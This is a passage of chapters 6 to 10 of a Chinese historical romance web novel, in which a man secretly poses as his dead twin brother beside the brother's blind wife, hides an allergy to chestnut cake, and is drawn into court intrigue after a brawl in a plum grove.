她思索一瞬,眼神决绝,将其倒进了旁边的花盆中。 随即深吸一口气,挤出一个笑容,回应道:“来了。” 在她推开门的一瞬间,屋顶那抹蛰伏已久的黑色身影,悄无声息地掠起,消失在茫茫夜色之中。 第6章 栗子糕 第六章 栗子糕 细雪飘了一夜,天光乍晴,满京城银装素裹,温越有意培养与沈溪言之间的感情,一大早就套了马车,说要带她去城北梅岗赏雪。 他今日特意打扮过。 一身浅蓝素面浅缎袍,外披莲青纹刻丝鹤氅,乌发仅用一根浅色绸带随意绑着,没有束冠也没有插簪,额前落下几缕碎发,整个人少了几分平日的凌厉与英挺,更显丰神俊朗。 男人手中揣着一只暖炉,嘴角含笑,沈溪言一出门瞧见的便是这样的温越,朦胧模糊的视线也遮不住眼前男子的俊逸,一时竟有些看呆了。 想当年她与他的初见,也是这样一个冬日。 温越望着心上人款款走来,嘴角的笑意似积雪般悄然化开,逐渐溢满整个面容,直到看到沈溪言身后的那抹身影时,蓦然凝住。 “如意,冬日寒凉,你不在房内待着,跑出来做什么?” 温如意从沈溪言背后探出的脑袋又缩了回去,不知怎的,大哥平日里温润如玉,待妹妹们最是亲近。 可最近不知怎么了,与她生分了不少,今日一见就沉着脸,她倒是有几分害怕了。 “嫂嫂……” 沈溪言安抚地拍了拍温如意的胳膊,转向温越的方向:“夫君,如意久在病中,今日天气好,柳姨娘托我们带她出去一起转转。” 温越走近几步,将手里的暖炉递给她,沉着脸冲身后的季伯道:“再准备一辆马车。” “你,”修长的手指指向自家小妹,“自己去坐车。” “啊?” “阿珣。”沈溪言不赞同地瞥了他一眼, 换来后者颇为幽怨的眼神。 “阿言,你眼睛不方便,我得照顾你。” “大哥,我也能照顾好嫂嫂。” “人多,挤。” “我不占地儿。” 最后,三个人争执不下,还是挤上了一辆马车。 温如意如今还未及笄,到底是小孩子心性,温越精心准备的零嘴吃食,全都进了她的嘴里。 温越起初冷着脸,觉得沈溪言的注意力都被温如意夺走了。 后半程瞅见她眉眼含笑,又见她怕自己不悦,从衣袖底下伸出手,悄悄将自己的手握住,扣紧,他心头的那丝不耐烦也烟消云散了。 她的指尖微凉,时不时挠一下他的掌心,望向他的时候,眼里泛起温柔的涟漪,一颦一笑间,清雅动人。 温如意盯了半晌:“府里下人说大哥和嫂嫂之间起了龃龉,我看倒是假的。” “如意,别乱说。”沈溪言红了脸。 “哪个下人乱嚼舌根?再传出些乱七八糟的言论,打完板子轰出府去。” 温如意缩了缩脖子,在温越看不见的地方吐了吐舌头。 以前大哥从不把打打杀杀的挂在嘴边,如今真是变了不少,不说话时还好,一开口就有一种极强的割裂感。 就他以前的性子,从不同母亲争执,可如今就连她都遇见一两次,大哥从母亲房里出来时,把母亲气的摔了茶杯。 一场大雪过后,万树千山皆白了头,唯有那漫山遍野的红梅,似美人面颊上的胭脂,在这冬日里格外好看。 梅岗深处有一澄碧湖,湖心建有一座八角攒尖琉璃亭,亭子四周围挂着挡风的竹帘,亭边栽着几株老梅,枝干虬结苍劲,暗香浮动。 听说不少文人雅客在此围炉煮茶,别有一番意境。 温越带着沈溪言行至此处,命人将其简单打扫了一下,又在木凳上面铺了一层厚厚的软垫,才扶着沈溪言坐下。 “大哥待嫂嫂真好。” 温越白了她一眼,仿佛在说,不讲话没人当她是哑巴。 温如意不明所以,总觉得今日大哥有些烦她,也不知道怎么得罪了他。 她心里牢记着姨娘的话,如今侯府荣辱全系大哥一人,她要与大哥处好关系,这决定这以后她所嫁门第的高低。 温如意看着大哥将嫂嫂的手握在手心,小心暖着,根本就忘了身边其他人的存在。 她转头瞅了一眼贴身侍女绿禾,后者点点头,两人心领神会地退了下去。 “噗嗤”一声,火折子将炭盆点燃,亭内顿时暖和起来。 沈溪言坐在温越身侧,裹着厚厚的狐裘,虽看不清这红梅开的何等艳丽,鼻尖却全是沁人心脾的冷冽香味,令人心旷神怡。 温越取了枝头的压梅雪,亲自将一杯煮沸的热茶递到沈溪言手中:“阿言,尝尝。” 沈溪言抿了一口:“清冽纯净,还有梅花的清香,不错。” 两人相视而笑,卫奕自觉亭中的氛围不适合他在,正要退出去,温如意就提着裙摆,从远处跑来。 她怀里抱着一只食盒,脚步轻快。 “嫂嫂,大哥!快瞧瞧我带了什么。” 卫奕苦笑一声,看着将军越来越黑的脸色,冲温如意使眼色,无声道:“……四小姐” “卫将军,你眼睛怎么了,是风大眯了眼睛吗?” “……未曾,多谢四小姐关心。” 温如意将食盒放在石桌上,揭开盖子,一股浓郁的甜香味瞬间溢了出来。 “这是西市福源斋的糖霜栗子糕,外头天寒地冻的,用些点心垫垫肚子,在喝一杯热茶,最是暖身。” 温越的视线落在那几块色泽金黄的糕点上,眸光微凝,指尖在袖中悄然蜷缩。 温如意先是递给沈溪言一块,沈溪言咬了一口。 “嫂嫂,如何?” “入口即化,甜而不腻,甚好。” 似乎是得到了肯定,温如意将碟子推挤近了几分,语气里带了讨好。 “大哥,你也快尝尝,我记得你最喜欢吃栗子糕了,小时候我第一次做了栗子糕,将你和二哥认错了,硬要二哥吃,结果他才吃了一口,就发了满身的疹子,后来府医说,他这是过敏了,从此以后,你怕他误食,再也不吃栗子糕了,可我知道,大哥是最喜欢……” 亭中的空气逐渐凝住,温如意的声音越来越小,一脸心虚:“……对不起,嫂嫂,我是不是说错话了。” 沈溪言微微侧首,摇了摇头:“如意有心了,你大哥怎么会怪你呢?” 她捏起盘中一块糕点,递到温越嘴边:“夫君,如意最喜甜食,还专门给你买了栗子糕,留着一路也没动,你不会怪她的,对不对?” 风雪从亭外灌入。 温越僵在原地,探究的目光在温如意的脸上来回扫视。 不知她是无意之举还是有心试探,若是后者,那此女心机深不可测。 可瞧了半天,只瞅见她一脸期待的模样。 “夫君,可是有哪里不适?” “没。” 温越看着沈溪言柔美的面容,心下一横,正要接下,眼前却突然伸出来一只手。 下一秒,沈溪言手中的糕点已经不见了踪影。 第7章 来得正好 第七章 来得正好 “末将方才走了半天路,正巧饿了,多谢夫人赏。” 卫奕一口将栗子糕吞了,又一把夺了温如意手中的盘子,三下五除二将一盘糕点都吞入腹中。 他吃得太快,似乎噎住了,随手抓起滚烫的茶水猛灌了几口,才擦了擦嘴角的碎屑,看向呆若木鸡的众人:“真的很饿。” “卫将军,你……” “四小姐,抱歉哈,您给将军的心意让我全吃了,嘿嘿。” “不是,卫将军,我是说,你……” “四小姐,要打要罚末将都认了。”卫奕躬身抱拳,可那表情没有一丝歉意,反而透着几分得意。 “卫将军。” “夫人您说。” “如意的意思是,你们的那份,她也买了,只是还未来得及拿出来。” “啊?” 温如意垮着脸,点了点头,随即从食盒的下一层又端出来一盘栗子糕。 “这,夫人您怎么知道,还有一盘?” 沈溪言失笑:“这么浓郁的栗子味,卫将军难道没闻到?” “……” “卫将军可吃饱了?” “饱,饱了。” 卫奕心虚地抬头,正对上男人那两分鄙夷,三分嫌弃,还有十分要吃人的眼神。 温越一副恨铁不成钢的表情,深吸一口气,修长如玉的手指捻起一块糕点,卫奕蠢蠢欲动,想故技重施,却被他一个眼神呵退。 同样的手段连用两次,温如意能糊弄过去,阿言定会察觉异样。 所以今日这栗子糕他不吃也得吃。 在众人或期待或担忧的目光中,他将这块糕点优雅地含入口中。 甜糯的口感在舌尖化开,栗香浓郁,软糯适口。 只是咽下去的瞬间,一股麻痒难耐的感觉顺着喉管炸开,温越佯装呛住,若无其事地喝了几口茶水,吞了下去。 从唇缝挤出两个字:“甚好。” 他压下胸口闷胀恶心的感觉,露出一丝极浅的笑容:“阿言喜欢就多吃两块。” “好,夫君一起吃。” “……嗯。”话音刚落,温越就感到喉间迅速肿胀了起来,就连呼吸都都变的艰难沉重。 眼瞅着沈溪言又将一块糕点递到了他的嘴边,温越有苦说不出。 他感觉脸颊越来越烫,心跳加速。 耳边传来卫奕担忧的声音:“将军?” 他悄悄摆了摆手,示意他无事。 再用一块,这是阿言亲手喂的。 再用一块,他就借故离开。 “哪来的野狗!占了小爷的地方?还不快滚!” 一道怒呵声由远及近,温越猛然抬头,瞅见亭外不远处三五个男子,阔步而来。 为首的男子衣着华贵, 腰间坠满了玉佩,就连头冠上都嵌满了名贵的玉石,一副暴发户的模样,生怕旁人不知道他家底优渥。 正是当日在长街口出狂言的户部尚书之子周宣礼。 几人似乎都饮了酒,走路有些踉跄。 穿过梅林,隔着几重花树和垂下的竹帘,周宣礼一眼便瞅见了亭中有人。 温越坐在背阴处,今日又穿的素雅,清冷的气质让他与这方雪景融为一体。 周宣礼等人没看见他,只瞧见了温越身旁,身姿窈窕,面容绝美的沈溪言,还有温如意等人。 “原来是几位姑娘,在下唐突了,可否有幸请姑娘们共饮一杯?” “大胆!你可知——” 沈溪言发觉温越半响没说话,直觉此时不易起冲突,她抬手阻止了卫奕。 “既然几位公子喜欢这地方,那我们便让给公子,这就离开。” “榴花,绿禾,我们走。” “是。” 沈溪言拉着惴惴不安的温如意,就要掀帘离开,可下一秒,周宣礼就闯了进来。 “姑娘莫急啊,喝了这杯酒暖暖身,再走也不迟。” 他刚看清沈溪言的容貌,腰腹处就挨了一脚,随即感觉身子轻飘飘地飞了起来,紧接着,重重砸在了雪地里。 “诶呦——谁?谁打小爷?” “周兄,没事吧?” “周公子,我扶你起来。” 周宣礼推开众人,龇牙咧嘴的从地上站起来:“沈溪言,又是你!” 他侧头眯着眼,只瞅见亭中立着一衣着素雅的高大男子,墨发飘动,虽看不清面容,但一看穿着就是个不会武的小白脸。 他眼神一亮,露出一副了然的神色。 “哦?我道你着急走呢,孤男寡女共处一亭,还拉着竹帘鬼鬼祟祟的,我看八成是来着偷情的吧。” “你刚嫁入侯府,就与外男私会,也不怕温珣知道休了你。” 他拍拍衣角沾上的雪,似乎忘了疼:“这样吧,本公子也不是不讲道理的人,你今日陪我和我的朋友们喝几杯,我就替你遮掩如何?” “保证不让你那好夫君知道,哈哈哈……” 沈溪言听着众人的哄笑声,脸色煞白。 温越的脸色瞬间黑如锅底,额头青筋爆起,他强忍着不适,计上心来。 来的正是时候。 温越用低沉、却恰好亭外众人都能听到的声音道:“夫人,您已经有夫君了,可这些混蛋还污言秽语不断,不如在下替您夫君好好教训教训他们?” “事成之后,夫人可愿继续与在下围炉煮茶,踏雪寻梅?” 沈溪言一愣,待听清之后,她的脸迅速蹿红,再张口时都有些语无伦次:“好,那你,那你就好好教训教训他们。” “遵命!” 温越勾唇,眼底窜上杀意,身影随风而动,抓起沈溪言的帷帽覆面,嗖地一下窜了出去,正窝了一肚子火没处撒。 “好好好,好一对奸夫淫妇……啊——” 周宣礼话未说完,就听见自己的腕骨处传来“咔嚓”一声,清脆的骨头碎裂声。 男子衣角翻飞,帷帽被掀起,眼角发红,动作却行云流水,所到之处哀嚎不断。 温如意何曾见过自己端庄持重的长兄如此一面,从他与嫂嫂对话开始,她张大的嘴就没合上。 唯一知道真实情况的卫奕眉头紧锁,他方才看懂了温越的暗示,不允许他出手,可他又不明白温越是何意图。 不出一刻,雪地里就只剩温越一人还站着。 一人捂着肚子威胁:“你可知,你打的时户部尚书的嫡子?” 温越冷哼一声,语气平静的可怕:“自然清楚。” “你!” “看来还是不够疼,还有力气讲话。” 说着温越手腕一抖,夺过男子手中的折扇,‘啪!’地一声,抽在男人的脸上。 一声脆响,那人的左半边脸迅速肿了起来,他侧身扭头,‘噗’地吐出两颗带血的牙来。 “不会说话就把嘴闭上。” 其余几人见眼前的小白脸竟是个硬茬子,吓得魂飞魄散,纷纷扣头求饶: “对不住对不住!我不该污蔑夫人!” “对对,我们酒后胡言,我们有罪,大哥饶命啊!” 温越站在雪地里,用舌尖顶了顶发麻的腮帮,眸中酝酿着风暴。 这两个字今日怎会如此刺耳呢? 他一脚将眼前之人又揣远了几步,居高临下看着众人,喉头像是被火灼烧:“你们该向夫人道歉。” 沈溪言挺直了身子,待几人鬼哭狼嚎地道完歉,冲温越招了招手,示意他回来。 温越身形微微晃了一下,喉间的肿胀感愈发强烈,视线甚至开始模糊。 他的唇边勾起一抹冷笑,帷帽上沾了血,他顺势将其一丢,无视后方周宣礼怨毒的目光,将后背完全袒露给对方。 千万别枉费了他的一番设计。 身后枯枝‘咔嚓’一声被踩断,杀气陡起! 温越恍若未觉,寒光闪现,卫奕在老远便看见了,目眦尽裂,大吼一声:“将军小心!” 千钧一发之际,温越微微侧身,避开心脉要害。 ‘噗呲!’利刃入肉,深深刺穿肩胛,鲜血喷涌而出,滴在雪地上,比山间红梅还要鲜艳几分。 “阿珣——” “将军——” “大哥——” 温越闷哼一声,顺势倒地,嘴角挂着得逞的笑。 周宣礼这才看清眼前‘小白脸’的面容,瞳孔一震,瘫坐在地。 “怎么可能,你,你是温珣?怎会如此?” 第8章 别装了,人都走了 第八章 别装了,人都走了 温如意正对着铜镜摘下耳铛,眉宇间带着担忧。 “也不知道大哥的伤严不严重。” 回府之后,母亲就让她回房别添乱,不一会,母亲也回了明远堂,想必大哥应当无事。 她似乎想到了什么,由忧转喜,转身拉起柳姨娘的手:“对了,娘,你本来担心我出门会受了风寒,可你不知道,幸亏听了嫂嫂的建议,今日出门这一趟真是值的。” “你不知道,那栗子糕又多好用,这几个月大哥都不理我,今日带了栗子糕去,他很是喜欢,果然吃了。” 柳姨娘年过四十,年轻时生的温婉动人,是老侯爷偶然救下的孤女。 她看着女儿激动的模样,察觉了这话其中的关窍:“如意,你是说,今日夫人特意让你带了栗子糕给侯爷吃?” 温如意边说边用手比划:“是啊,嫂嫂一定是怕自己带大哥发现,借我的手想给大哥一个惊喜呢,大哥吃的那叫一个开心。” “唉,也不知道我何时能嫁这样一个如意郎君,能像兄长待嫂嫂的十分之一,我也知足了。” 柳姨娘怜爱地摸了摸自家傻女儿的头发,只觉得今日的事处处透着古怪。 此时的兰苑已经乱成了一锅粥。 主屋的大门敞开,侍女个个神色凝重,不断有人端着浸满血水的铜盆出来,沈溪言不顾劝阻,执意守在门口。 她的脸色已经不能用难看来形容了,他为自己受伤,她今日还…… 她的视线追随着下人们进进出出,心如刀绞,思绪混乱如麻。 屋内不断传出温越隐忍的闷哼声。 “不是说没伤到要害,怎地流了这许多的血。”沈溪言再一次被卫奕拦在门口。 “夫人,何老是神医的徒弟,将军定会无事的,您要实在不放心,末将进去瞧瞧是什么情况,再向夫人禀报。” “嗯,那就有劳卫将军了。” “夫人言重了。” 卫奕刚进屋,就传来温越隐忍又压抑的声音:“……卫奕,告诉夫人,我没事,不用担心。” 沈溪言伤了眼睛之后,耳力渐长。 她下唇被咬得泛白,眸中含泪,下意识握紧了榴花的手,声音颤抖:“榴花,扶我去书房。” 榴花一脸疑惑:“夫人,现在去书房做什么?” “给兄长去信,替夫君报仇。” 屋内床榻之上,温越面色苍白如纸,受伤的肩胛处已经被包扎得严严实实。 不一会便有侍女从窗户处,将方才端出的染血的铜盆接进来,又从正门端出去。 府中的老大夫何老早已经收拾好了药箱,却被扣在屋内,他等的犯困,不住的打盹,温越也没打算放他离开。 卫奕趁着开门的瞬间,瞥了一眼屋外,却发现哪里还有沈溪言的身影。 他一惊,随手扯过门口一个的护卫想问问,却没拽动,他抬眼打量,是个面容清秀的年轻人,看着脸生,身量高挑。 卫奕悻悻地摸了摸鼻子,问到:“夫人呢?” “不知。” “唉?你!” “将军,属下好像听说夫人要去写什么信,替侯爷报仇。”另一护卫抢答道。 卫奕投去赞赏的一眼,拍了拍其肩膀:“你机灵多了。” 他扭头进屋,望向双目紧闭的温越,一脸无奈:“行了,别装了,人都走了。” 温越闻言瞬间睁眼:“什么?” 他从榻上窜起来,刚包扎好的伤口因为剧烈的动作又隐隐透出血色,他喉咙肿着,说话还有些含糊不清。 卫奕重复了一遍门口护卫的话,随后摆摆手,让侍女们退下。 完了,玩脱了。 何老被惊醒,瞅见温越又挣开了伤口,语气不悦:“胡闹!纵然未伤在要害处,毕竟以血肉之躯硬挨了这一刀,血也不是白流的,还不躺好。” 温越很是配合,卫奕讪笑一声凑上前:“何老,这事可千万不能让夫人知道。” 头发花白的医者愣了一下,浑浊的眼里闪过狡黠的光,手中的动作却未停,却是冲着温越说道:“什么事?是侯爷吃栗子糕过敏的事?” “还是……侯爷这伤本就不重,却为了掩盖过敏硬生生挨了一刀的事?” “还是先前让老朽撒谎伤了根本的事?” 卫奕被噎的脸红脖子粗,张了张嘴想反驳,却一句话也说不出口,最后瞪了一眼床榻上的罪魁祸首。 这都什么事! 何老包扎好,温越还直愣愣望着床幔发呆,他叹了口气:“这些都好说,你和你兄长是我看着长大的,如今就侯府剩你一个男丁。” “只一点,这过敏不是闹着玩的,怎么就是不听劝!幸亏今日吃的不多,若是在贪那一口,喉咙肿得在厉害些,堵住了气,那可是要窒息没命的!唉……” 他转身欲走,又扭头回望,满面无奈:“侯爷,老朽能走了吗?” 温越歉意一笑,点了点头。 何老走后,温越眉心紧蹙,冲着屏风外的卫奕说道:“对外,还是要说的严重些。” 卫奕一愣:“你还没玩够?” 温越垂下眼帘,掩去眸底复杂的神色,声音沙哑:“就说是刀锋入肉三分,运气好,才没伤了心脉,元气受损,要好好静养。” “周宣礼的事,往朝中几个老御史那捅一捅,闹得越大越好。” 卫奕抱着胸,嗤笑一声:“怕不用那几位出手,你信不信,若夫人那信送出,沈行就能搅和的天翻地覆。你到底想做什么?” 温越沉默片刻,眼角微红:“北疆战况如此惨烈,我隐约觉得,不止是天灾,还有人祸。” 卫奕收敛了玩笑的模样,神色凝重起来:“你查到什么了?” 温越苦笑一声,摇摇头:“暂时没有,之前派去的探子说,醉玉背后之人,和周家脱不了关系,周宣礼又三番五次找侯府麻烦,这其中必有联系,户部,可是掌管天下钱粮的地方。” “我想看看,周家背后到底是谁。” 温越多说一句,卫奕的眉头就紧上一分,他垂着头,手指攥住又松开,反复几次后,在抬眼,眸底一片血红。 “若真是人为,北疆数万将士岂不枉死。我父、老侯爷和世子,岂不是死于自己人之手?” 温越闭上眼,努力控制着情绪:“卫奕,这只是猜测……” 身前‘扑通’一声闷响,温越眼睫微颤,睁开眼,只见卫奕直挺挺跪在了自己面前。 “你这是做什么?” 卫奕喉结滚动,声音破碎沙哑,眼里满是悲愤:“将军,若最后查实,北疆一战真是有人故意断了粮草,从中蓄意陷害,请将军允许末将为父报仇,替枉死的将士们讨回公道。” 说罢,他重重地磕了一个头。 温越怔了一下,立即挣扎起身,郑重地扶起卫奕,眼里满是肃杀:“若真有那一日,不用你开口,我也定会手刃仇人。” 卫奕起身抹了一把脸,沉思几秒:“我本以为你行事荒唐,现在看来是我小瞧你了……你越来越像他了。” 温越眉梢一挑,嘴角勾起一抹轻松的笑。 像他?是吗? 若是兄长,定会做的更好。 “好了,夫人还等着你回禀呢,别苦着一张脸。记得说的严重些,好让她多心疼心疼我……” 卫奕:“……” 第9章 没错,瞎子的听力好 第九章 没错,瞎子的听力好 一连半月,温越都躲在东院养伤,以不能见风为由,就连沈溪言也没见几面,实则是怕身上的红疹子没消干净,被看出破绽。 卫奕一大早就急匆匆来回话。 “将军,周宣礼刺杀你的案子,大理寺提到刑部三次,均被沈大人驳回了。他觉得判的轻了,干脆把人提到了刑部大牢里自己审。” “今儿早上朝,周敬山恶人先告状,把沈行和御史台一起参了,为了护住他的宝贝儿子,差点血洒朝堂。” 温越懒洋洋地窝在软塌上:“哦?闹这么大就没人替周家求情?” “当然有,你那天下手也不轻,姓周的那小子至今还下不来榻,落到沈行手里,估计这辈子也别想站起来了。” “周敬山一把鼻涕一把泪的,朝中跳出来不少人替周家说话,只是有一人,你一定想不到。” “谁啊?” “大长公主。” 大长公主与当今皇帝一母同胞,是先帝与仁肃皇贵妃的第一个孩子,疼爱非常。皇帝很是敬重这位长姐。 只是她从不过问朝堂中的事,不知为何好端端替周家求起情来。 温越收敛了几分玩味的神色,正要开口,却听到一阵急促的脚步声,他抬手示意卫奕禁声。 不一会,屋外传来季管家的声音:“侯爷,府里来了客人,夫人请您去正厅。” “何人?” “老奴不知,不过似乎是位姑娘,打扮的很是艳丽。” 醉玉…… 温越在心里默念,这几日倒是把她给忘了。 侯府正厅里,沈溪言端坐在主位上,面容严肃,俨然已经有了侯府主母的威势。 醉玉已经喝了三杯茶了,她用余光偷瞄高位上的女子,总觉得这位候夫人虽不能视物,但目光似乎比上次还要不待见她。 温越阔步而来,边走边冷冷地瞥了一眼醉玉。 只一眼,醉玉就有些坐立难安,背后冷汗直冒。 她想起传闻中,侯府二公子的这位孪生兄长,在战场上是杀人不眨眼的凶神。 缓缓抬头,看见方才对她冷脸的男人牵过妻子的手,小心放在掌心暖着,就像对待一件珍贵的瓷器,眼神似乎黏在她身上一般。 他唇角含笑,凑向女子,低语着什么,惹的女子红了脸,与方才冷面杀神判若两人。 卫奕跟在后面,看见温越那没出息的模样,忍无可忍,他抬起右手,握拳,抵在唇边,轻咳了声。 沈溪言立刻不好意思了起来,垂着头推了一把温越,后者才正色了起来。 卫奕率先开口:“这位姑娘,你有何事?” 醉玉咬咬牙,‘扑通’一声跪下,她打量四周,面色犹豫。 温越知她有话要讲,摆摆手屏退下人,不一会儿,厅内只剩她们四人。 “侯爷,夫人,奴家先前谎称怀有二公子的遗腹子,都是被逼无奈。” 沈溪言眸色倏紧,有一瞬的吃惊,没想到短短一月,她就改了说法。 温越则挑了挑眉:“接着说。” 醉玉咽了口唾沫,继续道:“有人绑架了奴家的小妹,她还小,若奴家不听他们的,他们就要把小妹送进花楼,奴家这辈子就这样了,决不能让小妹再重蹈覆辙。” “他们是谁?让你入侯府后做什么?”温越神色未变,语气平稳,不辩喜怒。 “不知,从未见过他的面,甚至不知男女。”醉玉怕温越不信,特意抬头对视,满眼真切,“若侯府认下孩子,就生下来,若不认……” “不认如何?” “不认就找机会流产嫁祸给夫人,到时候侯府绝嗣,温沈两家必生嫌隙,总之,将这侯府的水搅的越浑越好,至于缘由,醉玉不知。” 温越平静的面容在听到绝嗣这两字的时候,有一瞬间的皲裂。 “如今奴家走投无路,向侯爷夫人坦白一切,不敢奢望您救我的小妹,只求看在一片真挚,坦白一切的份上,收留奴家,若今日被赶出去,奴家只有一死。” 醉玉说完,就重重地磕了一个头,整个身子伏在地上,微微颤抖。 美人落泪,我见犹怜。 只是在场的三人,沈溪言看不见,温越的目光都在沈溪言身上,卫奕则在皱眉沉思,不知在想什么。 厅内一片死寂,落针可闻。 “醉玉姑娘。”沈溪言率先开口。 “恳请夫人给醉玉一条活路。” “你在撒谎。” ‘醉玉’脸上闪过慌乱,强撑着一口气:“夫人何意?奴家听不懂。” “你的目的,从始至终就是入府。” 沈溪言起初听到她被人以小妹威胁,还有一丝动容,直到她说出‘不敢奢望救她的小妹’这句话。 若醉玉真的为了自保能舍弃亲人,一开始就不会被威胁。 “若她模样未变,恐怕是带了人皮面具。”沈溪言轻声对温越说道。 温越眼里满是赞赏:“卫奕。” “是,将军。” ‘醉玉’这会是真的慌了,她被卫奕一把擒住,双手反剪在身后,挣扎起来。 “不帮便不帮,何必说些顾左右后而言他的话,是在使计诈我吗?” 卫奕在她耳后摸索,可肌肤光滑,丝毫没有粉饰的痕迹。 女子嗤笑一声:“夫人莫不是眼瞎之后,画本子听多了,连人皮面具这种东西都说的出来。” 卫奕有些疑惑:“侯爷,夫人,的确没有。” 正当她得意时,沈溪言叹了口气:“姑娘方才说错了,那会没诈你,这会确实诈了。” “你什么意思?” “姑娘一着急便忘了用‘醉玉’的声线讲话,用了自己本音,你有一点没说错,我眼瞎之后,听力确实好了不少。” ‘醉玉’被卫奕压了下去,沈溪言的情绪不高,此人说的有关醉玉的经历应当是真的,只是背后之人既然选择铤而走险,那真的醉玉要么逃了,要么已经遭遇不测。 不过她一个弱女子,后者的可能性更大。 若她在醉玉第一次上门的时候将其留下,是否能有机会救下她? 温越被沈溪言方才关于声线的言论吓住,一时之间竟不知道怎么开口讲话了。 “夫君,你方才问着问着就不说话了,是那会就察觉了异常对吗?” “嗯。” 兄长怎么讲话来着? “若卫奕用了特殊药水也没揭下面具呢?” “不会,这个醉玉一定是假的。” 之前说伤了喉咙她真的信了吗? “一定?夫君怎能如此确定?” “醉玉根本就没有小妹。” 温越几乎脱口而出。 这件事鲜有人知,胡诌出一个小妹,让对方以为拿捏住了自己,再找机会脱身,像是醉玉的行事风格。 他今日还疑惑,她怎么就如此光明正大的上门了,看到她的那一刻,就知道是个假货。 想必醉玉此刻,定早已经找好了藏身之处。 实在没什么好担心的。 现在该担心的是,阿言到底有没有对他放下疑心。 身侧突然安静了下来,温越恍惚察觉自己方才说了什么。 身为温珣,今日与醉玉应当是第一次见面,不该表现的如此熟悉。 纵然知道沈溪言看不清,他还是心虚地避开了她的视线。 就在此时,一黑衣护卫进屋低声禀告:“侯爷,卫将军派属下来回话,您之前让他提前调查醉玉的举动果真没错,此女戴了人皮面具,身份是假的,她已经招了,说自己是受了周敬山的指使。” 温越高悬的一口气终于松了下来。 此人来的正好,正解燃眉之急。 沈溪言露出了然的神色:“夫君未雨绸缪,办事仔细。”听到后半句,她面上又浮现恰到好处的疑惑与愤恨:“又是周家。” 将沈溪言送回兰苑,温越拍了拍那护卫的肩膀,才发现此人身量极高,竟与他不相上下。 往东院回去的路上,卫奕一脸欣喜地迎上来:“将军,那女子已经撂了,说是受了周家的指使。” “啧,说点我不知道的。” “啊?那给我点时间,我再审审。”卫奕兴冲冲地来,灰溜溜地走。 温越回头,四下无人,心里却总觉得今日之事透着古怪。 第10章 煮饭 第十章 煮饭 三日后,周宣礼刺杀一案经九卿会审终是落下了帷幕。周宣礼谋害议贵,杖五十,流两千里,其余从犯杖三十。 周敬山在大长公主的力保之下,并未罢遭到连重罚,只是降了官职,被贬到奉阳去做了知州。 周宣礼此人,一查才知,平日里欺男霸女,无恶不作,仗着父亲为朝中重臣,沾的人命官司不计其数。 京中传言,若有女子被他瞧上,不死便残,他还常常约上三五好友,一同喝酒狎妓,可糟蹋的多是清白人家的女儿。 按本朝律法,沈行本可以要了周宣礼那狗贼的小命,可大长公主横插一脚,让事情难办了起来。 他想替妹妹出气,在流放途中除了此人,却和侯府派去的人撞上,这还不算,两拨人竟都去迟了,有人先他们一步动手。 果然坏事做多了,仇家也异常多。 找到周宣礼时,他的尸体已经被野狗分食,也算恶有恶报。 只是这仇毕竟不是他亲手报的,沈行心里颇不痛快。 次日清晨,定北侯府,明远堂。 蒋氏坐于上首,手里捻佛珠的速度不断加快,她的身侧坐着一脸凝重的沈溪言,卫奕抱胸立在温越身后,就连温如意和柳姨娘都屏住了呼吸,大气不敢喘。 所有人的目光都在何老和温越的脸上来回游移。 终于,何老收回了按在温越腕间的手,慢条斯理地抹了一把额头上并不存在的冷汗。 “何老,我儿如何了?”蒋氏纵然有演的成分,可语气里的担忧不是假的。 “回老夫人、夫人,侯爷的病,全都好了。” “你是说,全部都好利索了?那么那个……” “是的,”何老垂眸,不敢与任何人对视:“老夫人不必担忧,侯爷气血通畅,身子已无大碍,侯府后继有人。” 卫奕听得直翻白眼,病是断断续续的来,痊愈是一下全好了。 蒋氏闻言长长地舒了一口气,悬着的心终于落回了肚子里,这次眼里的欣喜多了几分真心实意:“太好了!” 她狠狠地剜了一眼温越,嘴角却忍不住勾起。 好呀,好呀。 想通了便好,想通了便好呀。 “让母亲担心了,是孩儿不孝。”温越一副气定神闲的模样,撒谎时面不改色。 蒋氏顾不上理会他,转头握住沈溪言的手,慈爱地拍了拍,笑的合不拢嘴。 “溪言啊,既然珣儿身子好利索了,你们夫妻两也该好好过日子了,过两年如意出了门,府里可就太冷清了,你们啊,尽快给侯府添个大胖孙子,也好让府里热闹热闹。” 温如意年纪小,听到嫁人的话感到脸颊发烫。 柳姨娘神色复杂地看了一眼女儿,就如意纯善的性子,难免不受人欺负。 沈溪言从何老开始讲话时,就羞红了脸,如今被蒋氏这样提点,更是感到整个人都烧了起来。 就在她不知如何作答之时,门外突然传来一声沉闷的巨响,像是重物落地的声音。 众人纷纷侧目,温越一眼就认出是昨天传话的那个高挑护卫,此刻正直挺挺栽倒在院中,眼底青黑,面色惨白,似是力竭昏迷。 “母亲,怎么了?”沈溪言担忧道。 “溪言,没事没事啊。” 蒋氏远远望见,不知为何心疼起来,语气也重了几分:“护卫虽是下人,也不该如此作践,总归让人歇歇,瞅瞅都累成什么样了。” “母亲教训的是。”温越给卫奕使了个眼色:“你的人你去处理。” “什么我的人?” 卫奕不明所以,嘟囔了一句,却还是照做了。 他迅速拖起那人的身子,一转眼消失在拐角处,他边拖边看,似乎想起来了些。 这小子很是拼命,平日里不眠不休地守在主院,昨夜也不知道做什么去了,累成这样。 今日就算点了安神香,也得让他好好睡一觉。 不睡觉,怎么行。 …… 夜色如墨,寒月高悬。 男人独自坐在庭院之中,他穿的单薄,手中握着一只白玉酒壶,醉的厉害。 再次仰头,辛辣冷冽的酒水吞入喉间,冰凉刺骨,却浇不灭心头的燥热与悸动。 温越清楚地知道,今日若迈过了那道门槛,就再也没有回头路了。 他不断告诫自己,若今晚推开那扇门,他将以一个冒牌货的身份,彻底占有兄长的妻子,一辈子深陷谎言的泥潭,永生活在怕谎言被揭穿的恐慌中,再也不得翻身。 可若要他就此放手,他做不到。 让何老宣布他病愈的那一刻,他不就做出了选择了吗? 如今又在纠结矫情什么? 温越突然有些恼怒自己的懦弱,他泄愤般给了自己一拳。 嘶—— 他舔了舔唇角,传来腥甜刺痛,总算清醒不少。 怕什么,如今阿言唤自己夫君。 她现在是吾妻! 温越咬牙起身,将酒壶狠狠砸在地上,碎裂声接踵而至,他带着一丝决绝,阔步走向寝房。 …… 卧房内,地龙烧的正旺,火红的炭盆劈啪作响,屋内又挂上了红绸,与新婚夜那晚别无二致,烘托出旖旎的氛围。 沈溪言刚刚沐浴过,未施粉黛,如瀑的青丝用一根红绸带随意束在脑后。 她穿着一件略显单薄的藕粉色寝衣,这寝衣裁的正好,将她纤细柔美的身段勾勒的淋漓尽致。 